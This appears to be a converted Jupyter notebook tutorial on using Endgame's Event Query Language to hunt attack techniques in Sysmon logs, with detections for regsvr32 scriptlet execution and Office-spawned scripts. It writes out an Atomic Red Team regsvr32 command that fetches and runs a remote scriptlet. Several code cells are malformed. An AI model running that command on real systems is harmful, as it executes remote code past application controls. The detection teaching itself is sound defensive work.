1 Event Query Language

Atomic Friday with Endgame
@eventquerylang

1.1 Getting Started

https://eql.readthedocs.io/en/latest/index.html#getting-started

Requires Python (confirmed with 2.7 and 3.5+)

$ pip install eql

Collecting eql
  Using cached https://files.pythonhosted.org/.../eql-0.6.2-py2.py3-none-any.whl
Requirement already satisfied: PyYAML~=3.13 in ... (from eql) (3.13)
Requirement already satisfied: TatSu~=4.2.6 in... (from eql) (4.2.6)
Installing collected packages: eql
Successfully installed eql-0.6.2

Read more next steps to get running and see the guide for writing queries

$ eql query -f data/example.json "process where process_name = 'explorer.exe'" | jq .

```json
{
  "command_line": "C:\\Windows\\Explorer.EXE",
  "event_subtype_full": "already_running",
  "event_type_full": "process_event",
  "md5": "ac4c51eb24aa95b77f705ab159189e24",
  "opcode": 3,
  "pid": 2460,
  "ppid": 3052,
  "process_name": "explorer.exe",
  "process_path": "C:\\Windows\\explorer.exe",
  "serial_event_id": 34,
  "timestamp": 131485997150000000,
  "unique_pid": 34,
  "unique_ppid": 0,
}```
def eql_search(path, query_text, config=None):
    """Run an EQL query over a stream of events and get a dataframe back."""
    config = config or {}
    config.setdefault('flatten', True)
    engine = get_engine(query_text, config)
    event_stream = stream_file_events(path)
    rows = [result.data for result in engine(event_stream)]
    frame = DataFrame(rows)
    return frame.replace(numpy.nan, '', regex=True)

2 Getting familiar with data

Let's start with our sample example.json data, to see what's available.

```
In [2]: # eql query -f data/example.json "any where true"
   eql_search("data/example.json", "any where true")
```

Out[2]:
```
   command_line  event_subtype_full   event_type_full
0          already_running  process_event
1         wininit.exe       already_running
2         winlogon.exe       already_running
3   C:\Windows\system32\services.exe       already_running
4   C:\Windows\system32\lsass.exe       already_running
5   C:\Windows\Explorer.EXE       already_running
6          "C:\Windows\system32\cmd.exe"       already_running

   md5        opcode  parent_process_name
0        94355c28c1970635a31b3fe52eb7ceba 3 System Idle Process
1  1151b1ba6f350b1db6598e0f6a7c457 3
2  24acb7e5be595468e3b9aa488b9b4fcb 3 wininit.exe
3  7554a1b82b4a222fd4cc292ab38a558 3 wininit.exe
4  ac4c51eb24aa95b77f705ab159189e24 3
5  5746bd7e255dd6a8afa06f7c42c1ba41 3 explorer.exe
```
Great! Now with that data in mind, let’s test out some EQL queries to become familiar with the syntax. Is there a process event for explorer.exe?

In [3]: # eql query -f data/example.json "process where process_name='explorer.exe'"
results = eql_search("data/example.json",
                      "process where process_name='explorer.exe'")
results

Out[3]:  

Let’s use jupyter and pandas to show us only a few columns. We’ll just take the results we already saved and format them differently.
In [4]: results[['timestamp', 'user_name', 'command_line']]

Out[4]:

<table>
<thead>
<tr>
<th>timestamp</th>
<th>user_name</th>
<th>command_line</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 131485997150000000</td>
<td>researcher</td>
<td>C:\Windows\Explorer.EXE</td>
</tr>
</tbody>
</table>

What are the parent-child process relationships in this data set?

In [5]: eql_search("data/example.json",

   "parent_process_name != null
   / count parent_process_name, process_name"

Out[5]:

<table>
<thead>
<tr>
<th>count</th>
<th>key</th>
<th>percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>(System Idle Process, System)</td>
<td>0.25</td>
</tr>
<tr>
<td>1</td>
<td>(explorer.exe, cmd.exe)</td>
<td>0.25</td>
</tr>
<tr>
<td>2</td>
<td>(wininit.exe, lsass.exe)</td>
<td>0.25</td>
</tr>
<tr>
<td>3</td>
<td>(wininit.exe, services.exe)</td>
<td>0.25</td>
</tr>
</tbody>
</table>

2.0.1 Time for some more interesting data.

Let’s generate some data using Sysmon, following our guide.

Pick a MITRE ATT&CK technique and detonate one of the Atomic Tests T1117 Regsvr32 that we can find in Sysmon logs.

$ regsvr32.exe /s /u /i https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll

Then, within PowerShell, load the scrape.ps1 script that can convert Sysmon events into JSON that’s compatible with EQL.

# Import the functions provided within scrape-events
Import-Module .\utils\scrape-events.ps1

# Save the most recent 5000 Sysmon logs
Get-LatestLogs | ConvertTo-Json | Out-File -Encoding ASCII -FilePath my-sysmon-data.json

We have several examples in Github

- normalized-T1117-AtomicRed-regsvr32.json
- normalized-atomic-red-team.json.gz
- normalized-rta.json.gz
- sysmon-atomic-red-team.json.gz
- sysmon-rta.json.gz

Pick T1117 since it already matches what we just detonated. Grab the log file from https://raw.githubusercontent.com/endgameinc/eqllib/master/data/normalized-T1117-AtomicRed-regsvr32.json

How do we turn this into a detection?
In [6]: eql_search('data/normalized-T1117-AtomicRed-regsvr32.json',
       "| count event_type")

Out[6]:

<table>
<thead>
<tr>
<th>count</th>
<th>key</th>
<th>percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>network</td>
<td>0.006667</td>
</tr>
<tr>
<td>1</td>
<td>process</td>
<td>0.026667</td>
</tr>
<tr>
<td>2</td>
<td>registry</td>
<td>0.373333</td>
</tr>
<tr>
<td>3</td>
<td>image_load</td>
<td>0.593333</td>
</tr>
</tbody>
</table>

In [7]: eql_search('data/normalized-T1117-AtomicRed-regsvr32.json',
       "| count process_name,event_type")

Out[7]:

<table>
<thead>
<tr>
<th>count</th>
<th>key</th>
<th>percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>(regsvr32.exe, network)</td>
<td>0.006667</td>
</tr>
<tr>
<td>1</td>
<td>(cmd.exe, process)</td>
<td>0.013333</td>
</tr>
<tr>
<td>2</td>
<td>(regsvr32.exe, process)</td>
<td>0.013333</td>
</tr>
<tr>
<td>3</td>
<td>(cmd.exe, image_load)</td>
<td>0.033333</td>
</tr>
<tr>
<td>4</td>
<td>(regsvr32.exe, registry)</td>
<td>0.373333</td>
</tr>
<tr>
<td>5</td>
<td>(regsvr32.exe, image_load)</td>
<td>0.560000</td>
</tr>
</tbody>
</table>

In [8]: results = eql_search(
       "data/normalized-T1117-AtomicRed-regsvr32.json",
       "process where subtype='create' and process_name = 'regsvr32.exe'")
results[['command_line']]

Out[8]:

```
    command_line
0  regsvr32.exe /s /u /i:https://raw.githubusercontent.com/.../RegSvr32.sct scrobj.dll
```

In [9]: eql_search("data/normalized-T1117-AtomicRed-regsvr32.json",
       "image_load where process_name=='regsvr32.exe'
       and image_name=='scrobj.dll'"
)

Out[9]:

```
    event_type  image_name      image_path  pid  process_name  \
0  image_load  scrobj.dll  C:\Windows\System32\scrobj.dll  2012  regsvr32.exe

    process_path  timestamp  \
0  C:\Windows\System32\regsvr32.exe  131883573237450016
```

5
In [10]: eql_search("data/normalized-T1117-AtomicRed-regsvr32.json",
                      "network where process_name = 'regsvr32.exe'")

Out[10]:  destination_address  destination_port  event_type  pid  process_name  \
          0  151.101.48.133  443  network  2012  regsvr32.exe

           process_path  protocol  source_address  source_port
          0  C:\Windows\System32\regsvr32.exe  tcp  192.168.162.134  50505

                        subtype  timestamp  unique_pid
          0  outgoing  131883573238680000  {42FC7E13-CBCB-5C05-0000-0010A0395401}

                   user  user_domain  user_name
          0  ART-DESKTOP  bob  ART-DESKTOP  bob

Combine these things together and you can get a rigorous analytic

In [11]: eql_search("data/normalized-T1117-AtomicRed-regsvr32.json", ""
                  sequence by pid
                  [process where process_name == "regsvr32.exe"]
                  [image_load where image_name == "scrobj.dll"]
                  [network where true]
                  | count
                  """

Out[11]:  count  key
          0  1  totals

In [12]: table = eql_search("data/normalized-T1117-AtomicRed-regsvr32.json", ""
                           sequence by pid
                           [process where process_name == "regsvr32.exe"]
                           [image_load where image_name == "scrobj.dll"]
                           [network where true]
                           """
            table[['command_line', 'image_name', 'destination_address', 'destination_port']]

Out[12]:  command_line  image_name  \
        0  regsvr32.exe /s /u /i:https://raw.githubusercontent...  scrobj.dll
        1
        2

           destination_address  destination_port
          0
          1
          2  151.101.48.133  443

https://eqllib.readthedocs.io/en/latest/analytics/a792cb37-fa56-43c2-9357-4b6a54b559c7.html
3 Analytics Library

https://eqllib.readthedocs.io

Convert a query from our common schema used within the library to the fields used natively by Sysmon.

```
$ eqllib convert-query -s "Microsoft Sysmon"
  "process where process_name=='regsvr32.exe' and command_line=='*scrobj*'
```

process where
  EventId in (1, 5) and
  Image == "*\regsvr32.exe" and
  CommandLine == "*scrobj*

If we already know our data, we can query it natively.
hit https://github.com/jdorfman/awesome-json-datasets lists multiple open data sets.
Let’s pick http://api.nobelprize.org/v1/prize.json

```
$ jq -c .prizes[] Data/prize.json > prize.jsonl
$ eql query -f prize.jsonl "| tail 1" | jq .

{
  "category": "peace",
  "laureates": [
    {
      "firstname": "Jean Henry",
      "id": "462",
      "share": "2",
      "surname": "Dunant"
    },
    {
      "firstname": "Frédéric",
      "id": "463",
      "share": "2",
      "surname": "Passy"
    }
  ],
  "year": "1901"
}
```

In [13]: eql_search("prize.jsonl",
   "| tail 1")

Out[13]:

```
category       laureates      year
0   peace     [{u'share': u'2', u'surname': u'Dunant', u'id'... 1901
```

In [14]: eql_search("prize.jsonl",
   "any where year == '1984'")
### 3.1 Hunting with EQL

We have several examples in Github

- normalized-atomic-red-team.json.gz
- normalized-rta.json.gz

What are the parent-child process relationships in my environment?

```bash
In [17]: eql_search("data/normalized-atomic-red-team.json.gz", """
process where parent_process_name != null
| count process_name, parent_process_name
"""")
```

<table>
<thead>
<tr>
<th>count</th>
<th>key</th>
<th>percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>(ARP.EXE, cmd.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>1</td>
<td>(RegAsm.exe, cmd.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>2</td>
<td>(RegSvcs.exe, powershell.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>3</td>
<td>(SearchFilterHost.exe, SearchIndexer.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>4</td>
<td>(SearchProtocolHost.exe, SearchIndexer.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>5</td>
<td>(Templcm.tmp, cmd.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>6</td>
<td>(WmiApSrv.exe, services.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>7</td>
<td>(WmiPrvSE.exe, svchost.exe)</td>
<td>0.002299</td>
</tr>
<tr>
<td>8</td>
<td>(at.exe, cmd.exe)</td>
<td>0.002299</td>
</tr>
</tbody>
</table>
What processes have the most diverse command lines?

In [18]: eql_search("data/normalized-atomic-red-team.json.gz", ""
   | process where true
   |   | unique_count process_name, command_line
   |   | count process_name
   |   | filter count > 5
   |""

Out[18]: 

<table>
<thead>
<tr>
<th>count</th>
<th>key</th>
<th>percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>35 reg.exe</td>
<td>0.081776</td>
</tr>
<tr>
<td>1</td>
<td>74 cmd.exe</td>
<td>0.172897</td>
</tr>
<tr>
<td>2</td>
<td>255 PING.EXE</td>
<td>0.595794</td>
</tr>
</tbody>
</table>

What processes had more than two event types?

In [19]: table = eql_search("data/normalized-atomic-red-team.json.gz", ""
   | any where true
   |   | unique event_type, unique_pid
   |   | unique_count unique_pid
   |   | filter count > 3
   |""

Out[19]: 

<table>
<thead>
<tr>
<th>process_name</th>
<th>pid</th>
<th>command_line</th>
</tr>
</thead>
<tbody>
<tr>
<td>svchost.exe</td>
<td>3980 c:\windows\system32\svchost.exe -k netsvcs -p ...</td>
<td></td>
</tr>
</tbody>
</table>
What processes were spawned from parents that made network activity?

In [20]:
```python
table = eql_search("data/normalized-atomic-red-team.json.gz", ""
            join
            [ network where true ] by pid
            [ process where true ] by ppid
            ")
table[['process_name', 'pid', 'ppid',
            'command_line', 'destination_address', 'destination_port']]
```

Out[20]:
```
<table>
<thead>
<tr>
<th>process_name</th>
<th>pid</th>
<th>ppid</th>
<th>command_line</th>
<th>destination_address</th>
</tr>
</thead>
<tbody>
<tr>
<td>regsvr32.exe</td>
<td>2664</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>calc.exe</td>
<td>4724</td>
<td>2012</td>
<td>&quot;C:\Windows\System32\calc.exe&quot;</td>
<td>151.101.48.133</td>
</tr>
<tr>
<td>powershell.exe</td>
<td>7036</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cmd.exe</td>
<td>1480</td>
<td>7036</td>
<td>&quot;C:\WINDOWS\system32\cmd.exe&quot;</td>
<td>151.101.48.133</td>
</tr>
</tbody>
</table>
```

What files were created by descendants of powershell.exe?

In [21]:
```python
table = eql_search("data/normalized-atomic-red-team.json.gz", ""
                     file where process_name == 'powershell.exe' or
                     descendant of [process_name == 'powershell.exe']
                     ")
table[['file_path', 'pid', 'process_name']]
```

Out[21]:
```
<table>
<thead>
<tr>
<th>file_path</th>
<th>pid</th>
<th>process_name</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\ProgramData\Microsoft\Windows\Start Menu\Pr...</td>
<td>7036</td>
<td>powershell.exe</td>
</tr>
<tr>
<td>C:\eqllib\atomic-red-team-master\atomics\key.snk</td>
<td>7036</td>
<td>powershell.exe</td>
</tr>
<tr>
<td>C:\Windows\cert.key</td>
<td>3668</td>
<td>cmd.exe</td>
</tr>
<tr>
<td>C:\Users\bob\AppData\Local\Temp\REGC0BC.tmp</td>
<td>6700</td>
<td>reg.exe</td>
</tr>
<tr>
<td>C:\Users\bob\AppData\Local\Temp\REGC0BC.tmp</td>
<td>6700</td>
<td>reg.exe</td>
</tr>
<tr>
<td>C:\eqllib\atomic-red-team-master\atomics\secur...</td>
<td>6700</td>
<td>reg.exe</td>
</tr>
<tr>
<td>C:\Users\bob\AppData\Local\Temp\REGCD01.tmp</td>
<td>2008</td>
<td>reg.exe</td>
</tr>
<tr>
<td>C:\Users\bob\AppData\Local\Temp\REGCD01.tmp</td>
<td>2008</td>
<td>reg.exe</td>
</tr>
</tbody>
</table>
```
What executables were dropped then executed?

```python
In [22]: table = eql_search("data/normalized-rta.json.gz", ","
sequence
    [ file where file_name == "*.exe"] by file_path
    [ process where true] by process_path
"")
table[['process_name', 'file_path', 'command_line']]
```

```
Out[22]:

<table>
<thead>
<tr>
<th>process_name</th>
<th>file_path</th>
</tr>
</thead>
<tbody>
<tr>
<td>python.exe</td>
<td>C:\eqllib\RTA-master\winword.exe</td>
</tr>
<tr>
<td>winword.exe</td>
<td></td>
</tr>
<tr>
<td>python.exe</td>
<td>C:\eqllib\RTA-master\excel.exe</td>
</tr>
<tr>
<td>excel.exe</td>
<td></td>
</tr>
<tr>
<td>python.exe</td>
<td>C:\eqllib\RTA-master\red_ttp\bginfo.exe</td>
</tr>
<tr>
<td>bginfo.exe</td>
<td></td>
</tr>
<tr>
<td>python.exe</td>
<td>C:\eqllib\RTA-master\red_ttp\rcsi.exe</td>
</tr>
<tr>
<td>rcsi.exe</td>
<td></td>
</tr>
<tr>
<td>python.exe</td>
<td>C:\eqllib\RTA-master\red_ttp\control.exe</td>
</tr>
<tr>
<td>control.exe</td>
<td></td>
</tr>
<tr>
<td>python.exe</td>
<td>C:\eqllib\RTA-master\red_ttp\odbcconf.exe</td>
</tr>
<tr>
<td>odbcconf.exe</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>command_line</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:\eqllib\RTA-master\winword.exe /c msiexec.exe...</td>
</tr>
<tr>
<td>C:\eqllib\RTA-master\excel.exe /c msiexec.exe ...</td>
</tr>
<tr>
<td>C:\eqllib\RTA-master\red_ttp\bginfo.exe -c &quot;im...</td>
</tr>
<tr>
<td>C:\eqllib\RTA-master\red_ttp\rcsi.exe -c &quot;impo...</td>
</tr>
<tr>
<td>C:\eqllib\RTA-master\red_ttp\control.exe -c &quot;i...</td>
</tr>
<tr>
<td>C:\eqllib\RTA-master\red_ttp\odbcconf.exe -c &quot;...</td>
</tr>
</tbody>
</table>
```

What if we want to find spearphishing?

```python
In [23]: table = eql_search("data/normalized-rta.json.gz", ","
process where subtype == 'create' and process_name == "wscript.exe"
and descendant of [
            process where process_name == "winword.exe"
```

11
Out[23]:

```
command_line  event_type  logon_id  parent_process_name
0  wscript.exe  //b  process  92940  winword.exe
```

```
parent_process_path  pid  ppid  process_name
0  C:\eqllib\RTA-master\winword.exe  7020  7044  wscript.exe
```

```
process_path  subtype  timestamp
0  C:\Windows\System32\wscript.exe  create  131883577456140000
```

```
unique_pid
0  {9C977984-CD71-5C05-0000-001010416F01}
```

```
unique_ppid  user  user_domain
0  {9C977984-CD71-5C05-0000-0010E83F6F01}  RTA-DESKTOP\alice  RTA-DESKTOP
```

```
user_name
0  alice
```

In [24]:

```
macros = ""
macro SCRIPTING_PROCESS(name)
    name in ("wscript.exe", "cscript.exe", "powershell.exe")
```

```
macro OFFICE_PROCESS(name)
    name in ("winword.exe", "outlook.exe", "powerpoint.exe", "excel.exe")
""
```

In [25]:

```
table = eql_search("data/normalized-rta.json.gz", ""
process where subtype=='create'
    and SCRIPTING_PROCESS(process_name)
    and descendant of
        [process where OFFICE_PROCESS(process_name)]
"", {"definitions": macros})
table[['parent_process_name', 'command_line']]
```

Out[25]:

```
parent_process_name  command_line
0  winword.exe  powershell.exe  exit
1  winword.exe  wscript.exe  //b
2  excel.exe  powershell.exe  exit
3  excel.exe  wscript.exe  //b
```

$ eqllib survey -f data/normalized-atomic-red-team.json.gz -c
In [26]: results = DataFrame(["count": 1, "key": ["Indirect Command Execution", ...], "percent": 0.08333333333333333,"count": 1, "key": ["Mounting Hidden Shares", ...], "percent": 0.08333333333333333,"count": 1, "key": ["Suspicious Bitsadmin Job via bitsadmin.exe", ...], "percent": 0.08333333333333333,"count": 2, "key": ["RegSvr32 Scriplet Execution", ...], "percent": 0.16666666666666666,"count": 2, "key": ["Suspicious Script Object Execution", ...], "percent": 0.16666666666666666,"count": 2, "key": ["Windows Network Enumeration", ...], "percent": 0.16666666666666666,"count": 3, "key": ["SAM Dumping via Reg.exe", ...], "percent": 0.25}],
   ]

In [27]: results

Out[27]:

<table>
<thead>
<tr>
<th>count</th>
<th>key</th>
<th>percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>[Indirect Command Execution, ...]</td>
<td>0.08333</td>
</tr>
<tr>
<td>1</td>
<td>[Mounting Hidden Shares, ...]</td>
<td>0.08333</td>
</tr>
<tr>
<td>2</td>
<td>[Suspicious Bitsadmin Job via bitsadmin.exe, ...]</td>
<td>0.08333</td>
</tr>
<tr>
<td>3</td>
<td>[RegSvr32 Scriplet Execution, ...]</td>
<td>0.16667</td>
</tr>
<tr>
<td>4</td>
<td>[Suspicious Script Object Execution, ...]</td>
<td>0.16667</td>
</tr>
<tr>
<td>5</td>
<td>[Windows Network Enumeration, ...]</td>
<td>0.16667</td>
</tr>
<tr>
<td>6</td>
<td>[SAM Dumping via Reg.exe, ...]</td>
<td>0.25000</td>
</tr>
</tbody>
</table>

3.2 Resources

- https://eql.readthedocs.io
- https://eqllib.readthedocs.io
- https://github.com/endgameinc/eql
• https://github.com/endgameinc/eqlib
• https://www.endgame.com/blog/technical-blog/introducing-event-query-language
• https://www.endgame.com/blog/technical-blog/eql-for-the-masses
• https://www.endgame.com/blog/technical-blog/getting-started-eql